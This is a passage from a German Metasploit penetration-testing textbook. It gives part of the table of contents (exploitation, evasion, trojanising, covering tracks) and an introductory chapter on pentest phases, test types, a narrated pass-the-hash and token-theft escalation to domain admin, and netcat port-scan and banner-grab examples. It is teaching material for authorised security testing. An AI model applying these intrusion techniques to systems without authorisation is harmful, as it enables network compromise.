3.2.9SMB-Login-Scanner

3.2.10Weitere Passwortangriffe

3.3Netcat in Metasploit (Connect)

3.4Zusammenfassung

4Die Exploiting-Phase

4.1Einführung in die Exploiting-Thematik

4.2Metasploit-Konsole – msfconsole

4.3Metasploit Community Edition

4.4Zusammenfassung

5Die Post-Exploitation-Phase: Meterpreter-Kung-Fu

5.1Grundlagen – Was zur Hölle ist Meterpreter?

5.2Eigenschaften

5.3Grundfunktionalitäten

5.4Post-Exploitation-Module und Meterpreter-Skripte

5.4.1Post-Information Gathering

5.4.2VNC-Verbindung

5.4.3Netzwerk-Enumeration

5.4.4Weiteren Zugriff sicherstellen

5.5Timestomp

5.6Windows-Privilegien erweitern

5.7Programme direkt aus dem Speicher ausführen

5.8Meterpreter-Erweiterungsmodule

5.9Pivoting

5.9.1Portforwarding

5.9.2Routen setzen

5.9.3Weitere Pivoting-Möglichkeiten

5.10IRB und Railgun in der Post-Exploitation-Phase

5.11Systemunabhängigkeit des Meterpreter-Payloads

5.12Zusammenfassung

6Automatisierungsmechanismen und Integration von 3rd-Party-Scannern

6.1Ganz nüchtern betrachtet

6.2Pre-Exploitation-Phase

6.2.1Scanning in der Pre-Exploitation-Phase

6.2.2Automatisierte Passwortangriffe

6.3Einbinden externer Scanner

6.3.1Nmap-Portscanner

6.3.2Nessus-Vulnerability-Scanner

6.3.3NeXpose-Vulnerability-Scanner

6.4Armitage

6.5IRB und Ruby-Grundlagen

6.6Erweiterte Metasploit-Resource-Skripte

6.7Automatisierungsmöglichkeiten in der Post-Exploitation-Phase

6.7.1Erste Möglichkeit: über die erweiterten Payload-Optionen

6.7.2Zweite Möglichkeit: über das Session-Management

6.7.3Dritte Möglichkeit: Post-Module

6.8Zusammenfassung

7Spezielle Anwendungsgebiete

7.1Webapplikationen analysieren

7.1.1Warum Webanwendungen analysiert werden müssen

7.1.2Wmap

7.1.3Remote-File-Inclusion-Angriffe mit Metasploit

7.1.4Arachni Web Application Security Scanner Framework und Metasploit

7.2Datenbanken analysieren

7.2.1MS-SQL

7.2.2Oracle

7.2.3MySQL

7.2.4PostgreSQL

7.3Virtualisierte Umgebungen

7.3.1Metasploit im Einsatz

7.3.2Directory Traversal

7.4IPv6-Grundlagen

7.5IPv6-Netzwerke analysieren

7.6Zusammenfassung

8Client-Side Attacks

8.1Sehr bekannte Client-Side-Angriffe der letzten Jahre

8.1.1Aurora – MS10-002

8.1.2Browserangriffe automatisieren via browser_autopwn

8.2Remote-Zugriff via Cross-Site-Scripting

8.2.1XSSF – Management von XSS Zombies mit Metasploit

8.2.2Von XSS zur Shell

8.3Angriffe auf Client-Software über manipulierte Dateien

8.4Ein restriktives Firewall-Regelwerk umgehen

8.5Zusammenfassung

9Weitere Anwendung von Metasploit

9.1Einen externen Exploit über Metasploit kontrollieren

9.1.1Multi-Handler – Fremde Exploits in Metasploit aufnehmen

9.1.2Plaintext-Session zu Meterpreter upgraden

9.2Pass the Hash

9.3SET – Social Engineer Toolkit

9.3.1Überblick

9.3.2Update

9.3.3Beispielanwendung

9.4BeEF – Browser-Exploitation-Framework

9.5Die Metasploit Remote API

9.6vSploit

9.7Metasploit Vulnerability Emulator

9.8Tools

9.9Zusammenfassung

10Forschung und Exploit-Entwicklung – Vom Fuzzing zum 0 Day

10.1Die Hintergründe

10.2Erkennung von Schwachstellen

10.2.1Source-Code-Analyse

10.2.2Reverse Engineering

10.2.3Fuzzing

10.3Auf dem Weg zum Exploit

10.4EIP – Ein Register, sie alle zu knechten …

10.5MSFPESCAN

10.6MSF-Pattern

10.7Der Sprung ans Ziel

10.8Ein kleiner Schritt für uns, ein großer Schritt für den Exploit

10.9Kleine Helferlein

10.10Ein Metasploit-Modul erstellen

10.11Immunity Debugger mit Mona – Eine Einführung

10.12Die Applikation wird analysiert – Auf dem Weg zum SEH

10.12.1Ein (Structured) Exception Handler geht seinen Weg

10.12.2Mona rockt die Entwicklung eines Metasploit-Moduls

10.13Bad Characters auffinden

10.14Command Injection auf Embedded Devices

10.14.1Exploit per Download und Execute

10.14.2Exploit per CMD-Stager

10.15An der Metasploit-Entwicklung aktiv teilnehmen

10.16Zusammenfassung

11Evading-Mechanismen

11.1Antivirus Evading

11.2Trojanisieren einer bestehenden Applikation

11.3Weitere Post-Exploitation-Tätigkeiten

11.4IDS Evading

11.4.1NOP-Generatoren

11.4.2Im Exploit integrierte Evading-Funktionalitäten

11.4.3Evading-Funktionen vorhandener Exploits

11.4.4Erweiterte Evading-Funktionen durch den Einsatz von Fragroute

11.4.5Das IPS-Plugin

11.5Fazit

12Metasploit Express und Metasploit Pro im IT-Sicherheitsprozess

12.1Metasploit Express und Metasploit Pro

12.2Metasploit Express

12.3Metasploit Pro

12.4Zusammenfassung

13Cheat Sheet

13.1Vorbereitungsarbeiten und Bedienung des Frameworks

13.1.1Datastores

13.1.2Datenbankabfragen im Rahmen eines Penetrationstests

13.1.3Workspaces verwalten

13.1.4Logging aktivieren

13.1.5Metasploit-Ergebnisse exportieren

13.2Anwendung eines Moduls

13.3Post-Exploitation-Phase

13.3.1Spuren verwischen

13.3.2Pivoting bzw. in weitere Netzwerke vordringen

13.3.3Lokale Privilege Escalation

13.3.4Domain Privilege Escalation

13.4Automatisierungsmechanismen

13.5Nmap Cheat Sheet

13.6Client-Side Attacks

13.6.1Trojanisieren einer bestehenden Applikation und AV Evading

13.6.2Ein restriktives Firewall-Regelwerk umgehen

Anhang

Literaturverzeichnis und weiterführende Links

Schlusswort

Index

1Eine Einführung in das Pentesting und in Exploiting-Frameworks

Bevor ich im weiteren Verlauf des Buches mit einer detaillierten Darstellung des Metasploit-Frameworks und dessen praktischer Anwendung beginne, betrachten wir im folgenden Kapitel zunächst einige grundlegende Aspekte rund um die Pentesting-Thematik.

Unter anderem werden wir die einzelnen Phasen eines Penetrationstests betrachten. Ich werde außerdem erläutern, worum es sich bei einem Exploiting-Framework handelt und was es typischerweise umfasst. Neben Metasploit gibt es noch weitere, weit verbreitete Frameworks, die in einem eigenen Abschnitt vorgestellt werden. Ebenso lernen Sie einige Dokumentationswerkzeuge kennen. Schließlich stellen wir Überlegungen zum eigenen Testlabor an und betrachten unterschiedliche Lern- und Testsysteme.

1.1Was ist Pentesting?

Prinzipiell geht es im ersten Schritt eines Pentests darum, Schwachstellen zu erkennen und sie im Anschluss zu bewerten, um darauf basierend geeignete Gegenmaßnahmen erarbeiten zu können. Während automatisierte Vulnerability-Scans im Grunde genommen dieselbe Zielsetzung haben, werden die Ergebnisse eines professionellen Penetrationstests erheblich detaillierter und durch die manuelle Arbeit umfangreicher und korrekter sein. Durch die manuellen Tätigkeiten des Pentesters werden die Ergebnisse eines Penetrationstests in der Regel keine bzw. kaum Schwachstellen der Kategorie False-Positive beinhalten.

Als False Positives werden »falsch« gemeldete Schwachstellen bezeichnet, die zwar häufig von automatisierten Tools als Schwachstellen eingestuft werden, allerdings auf dem Zielsystem entweder gar nicht vorhanden sind oder aufgrund vorhandener Gegenmaßnahmen nicht ausnutzbar sind.

Während Vulnerability-Scanner typischerweise ausschließlich Schwachstellen erkennen, wofür der Hersteller dieses Scanners entsprechende Module integriert hat, verfügt ein Pentester über weitere Möglichkeiten, potenzielle Schwachstellen auszumachen. Im einfachsten Fall reicht bereits eine einfache Suche nach einer erkannten Versionsnummer auf einem der bekannten Internetportale für Exploit-Code aus. Zudem haben Vulnerability-Scanner typischerweise das Problem, dass sie nicht imstande sind, potenzielle Schwachstellen zu verifizieren, wodurch es zur bereits erwähnten False-Positive-Problematik kommt.

Information: Es gibt auch Vulnerability-Scanner, die Exploits integriert haben und dadurch oftmals die dargestellte Problematik in Teilbereichen umgehen können.

Der Scanner glaubt bei False-Positives, eine Schwachstelle erkannt zu haben, kann sie allerdings nicht durch den Einsatz von Exploit-Code oder weiteren Tools bzw. Angriffsmethoden bestätigen. Im darauf basierenden Bericht wird dementsprechend eine kritische Schwachstelle aufgeführt, die das geprüfte System allerdings nicht aufweist. Ein Pentester wird typischerweise im Rahmen seiner Tätigkeiten einen Schritt weitergehen und die Schwachstelle durch manuelle Arbeiten wie den Einsatz weiterer Tools, Module oder eines Exploits verifizieren. Dieser zusätzliche manuelle Schritt ermöglicht in den meisten Fällen eine klare Bewertung, ob eine Schwachstelle nicht nur möglicherweise vorhanden ist und sich möglicherweise für eine Kompromittierung eines Systems eignet, sondern dass es sich um ein tatsächlich vorhandenes und kritisches Bedrohungsszenario handelt. Auf Basis solcher Ergebnisse lassen sich entsprechend klare Empfehlung aussprechen. Solche Empfehlungen mit einem tatsächlich vorhandenen Bedrohungsszenario sind ungemein wichtig, um eine korrekte Priorisierung seitens der Verantwortlichen erst möglich zu machen. Diese sollten sofort erkennen, um welche Schwachstellen sie sich unverzüglich kümmern müssen und welche eine weitere, interne Bewertung nach sich ziehen können.

Viele Systeme und Applikationen sind zudem hochkomplex. Als Beispiel sei hier eine spezielle intern programmierte Webapplikation angeführt. Auch für Analysetools, die auf Webapplikationen optimiert sind, ist es häufig nicht möglich, solche Applikationen vollständig und automatisiert auf Schwachstellen zu testen. Ein Pentester wird an dieser Stelle durch manuelle Analyse die Funktionsweise der Applikation analysieren, wodurch es überhaupt erst möglich wird, weitere Schwachstellen zu erkennen und diese beispielsweise im Anschluss für verkettete Angriffe zu nutzen. Durch solche verketteten Angriffe kann eine mögliche Eskalationskette ermittelt werden, in der unterschiedliche Schwachstellen miteinander kombiniert werden, um dadurch das tatsächliche Bedrohungsszenario darzustellen.

Folgendes Szenario stellt ein kleines Beispiel einer möglichen Eskalationskette dar, die sich im Rahmen eines durchgeführten Penetrationstests in ähnlicher Weise abgespielt hat:

Im Rahmen einer umfangreichen Sicherheitsanalyse eines international tätigen Konzerns wird eine Simulation eines gestohlenen Notebooks durchgeführt. Unternehmen bzw. IT-Abteilungen, die eine hohe Anzahl mobiler Geräte verwalten und absichern müssen, sind häufig von einer entsprechend hohen Verlustzahl dieser Geräte betroffen. Werden keine speziellen Sicherheitsmaßnahmen zum Schutz sensibler Daten eingesetzt, ist es einem Angreifer unter Umständen möglich, ein gestohlenes Notebook für einen erfolgreichen Zugriff auf das interne Unternehmensnetzwerk zu nutzen.

Bei der durchgeführten Analyse des Notebooks ist es wegen fehlender Festplattenverschlüsselung möglich, das System nach Datenspuren und Passwörtern zu analysieren. In der History des Browsers lässt sich die Internetadresse der SSL-VPN-Verbindung auslesen, und der nicht gesicherte Passwortsafe liefert die benötigten Informationen für einen erfolgreichen Anmeldevorgang.

Der Pentester liest noch den Windows-Passwort-Hash des lokalen Administrator-Accounts aus und meldet sich über das SSL-VPN im Unternehmensnetzwerk an. Hierfür konnten die bereits ermittelten Benutzerinformationen des nicht gesicherten Passwortsafes genutzt werden. An dieser Stelle hat der Angreifer einen nicht privilegierten Zugriff auf das Unternehmensnetzwerk erhalten. Dieser nicht privilegierte Zugang dient im weiteren Verlauf sozusagen als Sprungbrett in das interne Netzwerk und ermöglicht weiterführende Angriffe.

Anmerkung: Eine sogenannte Zweifaktor-Authentifizierung hätte einen erfolgreichen Anmeldevorgang an dieser Stelle erheblich erschwert oder sogar unmöglich gemacht.

Nachdem die Administratoren auf allen Systemen dasselbe lokale Administrator-Passwort einsetzen, konnte sich der Pentester unter Zuhilfenahme des ausgelesenen Windows-Hash sowie der Pass-the-Hash-Methode (diese wird im Verlauf des Buches, in Abschnitt 9.2, noch detailliert dargestellt) und ohne Wissen des Klartext-Passwortes direkt an weiteren Systemen anmelden. Dies ermöglichte ihm weiteren Systemzugriff mit lokalen administrativen Berechtigungen. Als lokaler Administrator angemeldet lässt sich erkennen, dass er unter anderem auf einem System gelandet ist, auf dem vor kurzem ein Domain-Administrator angemeldet war. Bei einer solchen Anmeldung hinterlässt der Benutzer automatisch sein Authentifizierungstoken auf dem System, das sich unter Umständen weiterhin auf dem System befindet und sich für Angriffe einsetzen lässt. Im folgenden Schritt ist es dem Pentester dann möglich, das Token des Domain-Administrators zu übernehmen und dadurch die Identität dieses wichtigen Domain-Users (siehe Abschnitt 5.8.1). Der Pentester kann sich ab sofort im internen Netzwerk als vollwertiger Domain-Administrator bewegen, einen neuen administrativen Domain-User anlegen und dadurch seinen weiteren Zugang zum Netzwerk sichern.

Dem Pentester war es in unserem Beispiel durch die Kombination mehrerer Schwachstellen bzw. teilweise durch Konfigurationsfehler möglich, ausgehend von einem mobilen System die vollständige interne Windows-Domäne erfolgreich anzugreifen und zu kontrollieren. Was sich als ein schönes Ergebnis für einen Pentester darstellt, ist im typischen, unkontrollierten Fall eines Angriffs für das betroffene Unternehmen eine sicherheitstechnische Katastrophe.

Hinweis: Bei solchen Pentests ist unbedingt vorab der Umfang (Scope) des Tests abzuklären. Das Ziel eines Pentests ist es nicht, die zu analysierende Infrastruktur zu gefährden.

1.2Die Phasen eines Penetrationstests

Wenn es um die Durchführung von Penetrationstests geht, wird häufig von Voodoo, geheimen Hackertricks und undurchsichtiger, oftmals nicht vollständig legaler Vorgehensweise gesprochen. Jeder Pentester fand sich wohl schon das eine oder andere Mal in einem solchen Gespräch und überlegte schmunzelnd, ob er diese Gerüchte nun wirklich auflöst oder ob er den Gegenüber besser in seinem Glauben lassen solle.

Professionelle Penetrationstests haben nichts mit Magie, Voodoo und auch sehr wenig mit geheimen Hackertricks gemein. Die Vorgehensweise von Penetration-Tests ist normalerweise sehr einheitlich und wurde von unterschiedlichsten Institutionen formuliert. Folgende Darstellung bezieht sich auf die fünf Phasen eines Penetrationstests, wie sie vom Bundesamt für Sicherheit in der Informationstechnik (BSI) dargestellt wurden [6]:

Phase 1: Vorbereitung

Phase 2: Informationsbeschaffung und auswertung

Phase 3: Bewertung der Informationen/Risikoanalyse

Phase 4: Aktive Eindringversuche

Phase 5: Abschlussanalyse

Im weiteren Verlauf dieses Abschnitts werden diese einzelnen Phasen eines Penetrationstests dargestellt, wobei dabei bereits die Eignung des Metasploit-Frameworks in den einzelnen Bereichen einfließt.

Hinweis: In unterschiedlichsten Dokumenten werden die dargestellten Phasen oftmals in etwas anderen Aufteilungen und dadurch in weniger oder mehr Phasen dargestellt. Die durchzuführenden Punkte und Aufgaben unterscheiden sich allerdings prinzipiell nicht. In Abschnitt 1.2.6 wird eine etwas andere Aufteilung grafisch dargestellt.

Weitere Informationen zur typischen Vorgehensweise bei Penetrationstest sind neben den dargestellten Details vom BSI in den Dokumenten der OISSG (Open Information System Security Group) mit dem »Information Systems Security Assessment Framework« (ISSAF) [7] oder im »Technical Guide to Information Security Testing and Assessment« vom NIST [8] zu finden.

1.2.1Phase 1 – Vorbereitung

Die erste Phase zählt zu den entscheidendsten Phasen eines Penetrationstests. In dieser Phase kommt es unter anderem zur Festlegung der Ziele, die durch den Test erreicht werden sollen. Neben den Zielsystemen wird typischerweise die Vorgehensweise dargestellt und an die vorhandene Umgebung angepasst. An dieser Stelle wird zudem über die »Aggressivität« der späteren Vorgehensweise diskutiert, und es wird oftmals bereits entschieden, welche Systeme unter welchen Umständen mit möglichem Exploit-Code penetriert werden dürfen bzw. wie der Ablauf und Informationsaustausch vor einem solchen Einsatz zu erfolgen hat. In dieser Phase kommt es üblicherweise zum Austausch der Kontaktinformationen aller relevanten Ansprechpartner.

Neben den dargestellten Punkten fließen in dieser Phase evtl. zu berücksichtigende gesetzliche Bestimmungen ein. Wird die Sicherheitsanalyse im Rahmen spezieller Compliance-Anforderungen durchgeführt, kommt es zur Abstimmung vorhandener Bestimmungen, Vorgehensweisen und zu nutzender Reporttemplates.

1.2.2Phase 2 – Informationsbeschaffung und -auswertung

In der ersten technischen Phase, der Phase zur Informationsbeschaffung, wird versucht, möglichst viele Details über die zu prüfende Umgebung bzw. die zu prüfenden Systeme zu ermitteln. In dieser Phase behilft sich der Pentester unterschiedlichster Analyse- und Informationsgewinnungsmethoden. Die Herangehensweise an eine Zielumgebung beginnt oftmals mit einfachen Suchabfragen über unterschiedliche Online-Suchmaschinen. Im Anschluss an solche rein passiven Methoden kommen typischerweise auch erheblich aktivere Vorgehensweisen zum Einsatz. Zu diesen zählen typischerweise Scanningtools wie Port- und Vulnerability-Scanner.

Diese Phase sollte einen möglichst detaillierten Überblick über die zu prüfende Umgebung verschaffen. Der erstellte Überblick umfasst vorhandene Systeme, Dienste und mögliche Schwachstellen bzw. Angriffspunkte. In diesem Abschnitt der technischen Analyse wird Metasploit den Pentester bereits mit unterschiedlichsten Scanning- bzw. Auxiliary-Modulen unterstützen.

Hinweis: Scanning- und Auxiliary-Module werden in Kapitel 3 detailliert vorgestellt.

1.2.3Phase 3 – Bewertung der Informationen/Risikoanalyse

Im Rahmen der dritten Phase müssen die bereits ermittelten Informationen aus Phase 2 auf mögliche Schwachstellen analysiert werden. Darauf basierend ist es möglich, weiteres Angriffspotenzial zu erkennen. Diese Analyse erfolgt unter Berücksichtigung der in Phase 1 festgelegten Kriterien. Je nach Kriterien kann es an dieser Stelle zu Rücksprachen und weiteren Abstimmungen mit dem Auftraggeber und den entsprechenden Systemverantwortlichen kommen. In manchen Fällen wird nach einer Abschätzung der Risiken, die durch weitere Angriffe hervorgerufen werden könnten, die Phase 4 nur eingeschränkt oder teilweise unter detailliertem Monitoring der Systeme durch die verantwortlichen Systembetreuer durchgeführt. Je nach vereinbarter Vorgehensweise kommt es im Anschluss der Auswertung direkt zu Phase 4, also dem Versuch, die ermittelten Schwachstellen für weitere Angriffe zu nutzen und die verwundbaren Systeme zu kompromittieren.

In dieser dritten Phase unterstützt Metasploit den Pentester bei einer raschen und möglichst korrekten Auswahl der Zielsysteme und der einzusetzenden Exploits bzw. Module.

1.2.4Phase 4 – Aktive Eindringversuche

Bei Phase vier handelt es sich typischerweise um die kritischste technische Phase eines Penetrationstests. Im Rahmen dieser Phase wird versucht, die erkannten Schwachstellen aktiv auszunutzen, um darüber Zugriff auf die Systemumgebung zu erlangen. Es kommt dabei häufig zum Einsatz von Exploit-Code, der oftmals dazu führen kann, Dienste oder ganze Systeme und deren Verfügbarkeit negativ zu beeinflussen. Sind vom durchgeführten Pentest Systembereiche betroffen, die eine hohe Verfügbarkeitsanforderung mit sich bringen, sollte diese Phase sehr gut geplant und mit allen Beteiligten abgestimmt werden. In dieser Phase kann es mit erhöhter Wahrscheinlichkeit auch zu Systemausfällen kommen!

Wichtig: Bevor diese Phase eingeleitet wird, sollten unbedingt Kontaktinformationen aller Ansprechpartner vorliegen, um im Ernstfall die richtigen Personen möglichst rasch zu informieren.

Ist es in dieser Phase möglich, in Systeme einzudringen und werden dabei neue Systeme erkannt, die im vereinbarten Umfang des Penetrationstests liegen, lässt sich für diese Systeme erneut mit der Informationsbeschaffung aus Phase 2 starten. Dieses Vorgehen wird allgemein als Pivoting (siehe Abschnitt 5.9) bezeichnet.

Diese Phase ist der Bereich, den Metasploit umfassend abdeckt und in dem Metasploit primär zum Einsatz kommt.

1.2.5Phase 5 – Abschlussanalyse

Im Rahmen der Abschlussanalyse wird typischerweise eine detaillierte Auswertung und Aufbereitung aller ermittelten Ergebnisse und Informationen durchgeführt. Auf Basis dieser Informationen kommt es zur Erstellung des Abschlussreports. Dieser sollte neben einer Management-Zusammenfassung und einer Auflistung der gefundenen Schwachstellen auch detaillierte Informationen zu den erkannten Schwachstellen und zu möglichen Risiken und Gefährdungen umfassen. Auf Basis des Berichts muss der Pentester seine Vorgehensweise nachvollziehbar und detailliert mit allen relevanten Erkenntnissen darstellen. Verantwortliche auf nicht technischer Ebene müssen auf der Grundlage des erstellten Reports imstande sein, die Risiken abzuschätzen. Verantwortlichen auf technischer Ebene muss der erstellte Bericht weitreichende technische Details zur Nachvollziehbarkeit und zur Behebung der Schwachstellen liefern.

Metasploit unterstützt den Pentester in dieser Phase mit umfangreichen Logging- und Auswertungsfunktionalitäten und zudem mit integrierter Datenbankanbindung.

1.2.6Eine etwas andere Darstellung

Die dargestellten fünf Phasen eines Penetrationstests lassen sich prinzipiell in unterschiedlichster Art und Weise darstellen. In Abbildung 1–1 wird der Pentesting-Prozess inkl. der Erkennung neuer Systeme nochmals in einer etwas anderen Form und mit weiteren Details angeführt:

Abb. 1–1Pentesting-Prozess mit Erkennung neuer Systeme (adaptiert von [9])

Der in Abbildung 1–1 dargestellte Prozess umfasst auch die nicht zu vernachlässigende Post-Exploitation-Phase (siehe Kapitel 5) mit der Erweiterung der Berechtigungsstufe (Privilege-Escalation – Abschnitt 5.6 und 5.8) sowie der Analyse des angegriffenen Systems. Werden bei einer Systemanalyse kompromittierter Systeme weitere Netzwerkbereiche erkannt, kommt es unter Umständen zu dem in Abschnitt 5.9 dargestellten Pivoting-Prozess, wodurch der Test erneut bei dem Information-Gathering-Prozess beginnt.

1.3Die Arten des Penetrationstests

Die folgende Darstellung zeigt die Möglichkeiten eines Penetrationstests, bezogen auf die Informationen, die der Angreifer über das Ziel hat bzw. die das Ziel über den Angriff hat. Der auszutauschende Informationsumfang wird typischerweise in der ersten Phase eines Penetrationstests, im Rahmen der Definition der allgemeinen Rahmenbedingungen, abgestimmt.

Manche Penetrationstests werden nicht ausschließlich zur Erkennung neuer Schwachstellen durchgeführt, sondern beispielsweise zum Testen der Verteidigung, der dahinter befindlichen Sicherheitssysteme und der definierten Eskalationsprozesse. Bei Tests dieser Art spielt es eine entscheidende Rolle, ob und welche Informationen das Ziel über den Angriff bzw. den Angriffstest hat bzw. wer im Eskalationsprozess über die relevanten Informationen verfügt.

1.3.1Kurze Darstellung der einzelnen Testarten

Folgende Betrachtung beschreibt die einzelnen Testarten in einer kompakten Form. Für eine vollständige Darstellung sei auf das OSSTMM – Open-Source Security Testing Methodology Manual [10] verwiesen.

Abb. 1–2OSSTMM – common testtypes (aus [11], Seite 36)

Blind

Der Pentester hat keine bzw. kaum Informationen über das zu testende Ziel. Er verfügt neben den Daten der zu testenden Umgebung über keine weiteren Informationen zu Verteidigungssystemen, vorhandener Architektur und Systemstruktur. Die Verteidiger verfügen über umfangreiche Informationen zu Zeitpunkt, evtl. mögliche Zielsysteme und über die typische Vorgehensweise des Testers.

Double Blind

Der Pentester hat wie bei einem Blind-Test keine weiteren Informationen der zu testenden Umgebung, zusätzlich verfügt bei dieser Methode auch das Ziel über keine weiteren Informationen. Dieser Test wird oft eingesetzt, um einen möglichst realistischen Angriff zu simulieren und die vorhandene IT-Sicherheitsinfrastruktur ebenso zu testen wie auch interne Sicherheitsprozesse.

Gray Box

Beim Gray-Box-Test ist das Ziel mit allen Informationen des Penetrationstests versorgt und kann sich dementsprechend auf den Test vorbereiten und diesen auch sehr gut beobachten. Der Pentester hingegen hat nur eingeschränkte Informationen der Zielsysteme und ihrer Verteidigungsmöglichkeiten zur Verfügung.

Double Gray Box

Wie beim Gray-Box-Test hat bei diesem Test der Pentester nur eingeschränkte Informationen zur Verfügung. Hat beim Gray-Box-Test das Ziel noch Zugriff auf alle relevanten Informationen, wird es beim Double-Gray-Box-Test nur mehr grob zum Zeitpunkt des Tests sowie zum Scope und der zu nutzenden Angriffsvektoren des Tests informiert.

Tandem

Beide Parteien sind einheitlich über die Sicherheitsanalyse, den Scope, die Vorgehensweise und die vorhandenen Verteidigungsmaßnahmen informiert. Diese Art von Tests wird oft von internen Pentesting-Teams durchgeführt. Die Tester halten dabei die Kommunikationswege äußerst kurz und haben detaillierte Einblicke, wie sich die durchgeführten Tests auf die Zielumgebung auswirken.

Reversal

Das Ziel hat kaum Informationen zu dem Pentest. Weder Informationen zum Zeitpunkt noch welche Vorgehensweise oder welchen Scope der Pentest umfasst, sind dem Ziel bekannt. Der Angreifer wird hingegen mit allen relevanten Informationen versorgt und kann seinen Angriff dementsprechend vorbereiten und sehr optimiert durchführen.

1.4Exploiting-Frameworks

Eine genaue Definition des Begriffs Exploiting-Framework gibt es nicht. Normalerweise wird bei solchen Frameworks von einer definierten Plattform zur Entwicklung, zum Testen und zum Einsatz von Exploits und ähnlichen Modulen gesprochen. Im Laufe der Jahre kam es zu einer erheblichen Erweiterung des Funktionsumfangs dieser Frameworks. Exploits und deren Entwicklungsumgebung sind zwar weiterhin der Hauptbestandteil, allerdings werden immer mehr und umfangreichere Zusatzmodule integriert. Diese Erweiterungen haben im Normalfall keinen direkten Exploiting-Vorgang als Ziel, sondern dienen typischerweise der Informationsgewinnung oder beispielsweise auch dem Angriff auf schwache Passwörter durch weitere Scanning- und Bruteforce-Vorgänge. Der Umfang der betrachteten Frameworks ist somit nicht mehr ausschließlich auf den Exploiting-Prozess beschränkt, sondern setzt wesentlich früher an und ermöglicht dadurch die Umsetzung weitreichenderer und umfangreicherer Angriffe. Durch die zusätzlichen Module wird es in vielen Fällen möglich, Schwachstellen erst zu erkennen, um anschließend den passenden Exploit korrekt und zielgerichtet zum Einsatz zu bringen. Neben dem Einsatz in der frühen Informationsgewinnungsphase kommt es zur Implementierung weiterer Mechanismen, die in der späten Post-Exploitation-Phase genutzt werden. Beispiele hierfür sind Privilege-Escalation-Exploits, Pivoting-Module und Module zur automatisierten Informationssammlung.

Hinweis: Falls dem Leser die benutzten Begriffe wie Privilege-Escalation, Bruteforce-Vorgänge und Pivoting noch nichts sagen, macht das nichts aus. Diese Begriffe werden im Rahmen des Buches noch ausgiebig behandelt.

1.4.1Umfang von Exploiting-Frameworks

Was stellt man sich unter einem möglichst vollständigen Exploiting-Framework heutzutage vor? Zum einen soll es Möglichkeiten bieten, wichtige Teilbereiche der Pre-Exploitation-Phase, der Exploitation-Phase und der Post-Exploitation-Phase möglichst einfach und zentral anzuwenden und zu verwalten. Neben Automatisierungsmechanismen, die eine hohe Anzahl von Modulen auf die Zielsysteme optimiert anwenden können, zählen Funktionen der Entwicklung von Exploits bzw. der Forschung im IT-Security-Bereich ebenso zum Umfang solcher Frameworks.

Folgende Darstellung soll eine erste Idee vermitteln, was häufig in diesen Frameworks integriert ist und wofür diese Teilbereiche im Rahmen eines Penetrationstests eingesetzt werden können.

1.4.1.1Portscanner

Portscanner sind Werkzeuge, die bei einer technischen Systemanalyse meist sehr früh, in der Informationsgewinnungs- und Scanning-Phase, eingesetzt werden und Bestandteil nahezu jeder technischen Systemanalyse sind. Mithilfe dieser Scanner können UDP/TCP-Ports, hinter denen sich Systemdienste befinden, ermittelt werden. Die erfolgreiche Ermittlung offener Ports ist Grundvoraussetzung für weitere Analysen und spätere Exploiting-Vorgänge. Auf Basis dieser Ergebnisse wird versucht, weitere Serviceinformationen, wie Servicenamen und möglichst detaillierte Versionsstände einzelner Dienste, zu ermitteln. Exploiting-Frameworks weisen in den meisten Fällen einfache interne Scanning-Module auf und realisieren erweiterte Funktionen häufig durch Schnittstellen zu externen Tools wie beispielsweise dem renommierten Portscanner Nmap. Ein einfacher, sehr rudimentärer Portscanner wäre beispielsweise folgendermaßen mit Netcat zu realisieren.

root@bt:~?# nc -v -w 5 10.8.28.242 1-443

localhost [10.8.28.242] 139 (netbios-ssn) open

localhost [10.8.28.242] 135 (loc-srv) open

localhost [10.8.28.242] 23 (telnet) open

<snip>

Listing 1–1Einfacher Portscan mit Netcat

Der Nmap-Portscanner bringt neben dem in diesem Buch vielfältig genutzten Konsolen-Client auch eine grafische Oberfläche (Zenmap) mit. Diese ermöglicht eine einfache Bedienung und unterstützt eine intuitive Arbeitsweise durch einfache Integration grafischer Aufbereitungsmittel mit den bekannten Nmap-Ergebnissen. Abbildung 1–3 zeigt die grafische Darstellung eines Testscans in der Laborumgebung. Wird über Netzwerksegmente hinweg über mehrere Stationen bzw. Router gescannt, wird dies in der grafischen Aufbereitung einfach ersichtlich.

1.4.1.2Service-Scanner

Im Anschluss an die Ermittlung der offenen Ports ist es von hoher Wichtigkeit, möglichst detaillierte Informationen zu den zugehörigen Services einzuholen. Für diese Aufgabe kommen spezielle Service-Scanner zum Einsatz, die oftmals auch als Versionsscanner bezeichnet werden. Services, die über das Netzwerk angesprochen werden können, müssen über eine je nach Service unterschiedliche »Sprache« angesprochen werden. Häufig geben diese Services bereits durch einen einfachen Verbindungsaufbau umfangreiche Informationen bekannt. Beispiele hierfür wären der Servicename und/oder weitere Versionsinformationen. Nicht alle Services stellen diese Informationen sofort bereit, manche müssen durch spezielle Abfragen bzw. spezielle Strings erst dazu gebracht werden.

Abb. 1–3Nmap-Portscan über die grafische Zenmap -Oberfläche

Das folgende einfache Beispiel zeigt, wie mit Netcat eine Verbindung zu unterschiedlichen SSH-Diensten auf Port 22 aufgebaut wird und durch diesen Verbindungsaufbau bereits weitere Versionsinformationen ermittelt werden können.

root@bt:~# netcat 10.8.28.9 22

SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1

^C

root@bt:~# netcat 10.8.28.29 22

SSH-2.0-OpenSSH_4.3

^C

root@bt:~# netcat 10.8.28.32 22

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

^C

root@bt:~# netcat 10.8.28.181 22

SSH-2.0-OpenSSH_5.1p1 Debian-5

^C

root@bt:~# netcat 10.8.28.117 22

SSH-2.0-OpenSSH_4.3p2 Debian-9etch2

^C

Listing 1–2Netcat-Serviceerkennung

An der Ausgabe von Listing 1–2 ist erkennbar, wie der angesprochene SSH-Dienst sofort nach dem Verbindungsaufbau weitere Details zu sich selbst und zu dem Betriebssystem preisgibt. Informationen dieser Art können zwar im Rahmen möglicher Absicherungsmaßnahmen je nach Dienst mit mehr oder weniger Aufwand verfälscht oder unterbunden werden. Härtungsmaßnahmen dieser Art sind in Umgebungen ohne speziellen Sicherheitslevel allerdings eher selten anzutreffen bzw. werden in erster Linie in speziellen Hochsicherheitsumgebungen auch tatsächlich umgesetzt.

Durch die Möglichkeiten der Manipulation ist auf die Erkenntnisse solcher Service-Scanner nicht hundertprozentig Verlass, allerdings liefern sie im Normalfall zumindest einen ersten Anhaltspunkt für weitere Untersuchungen.

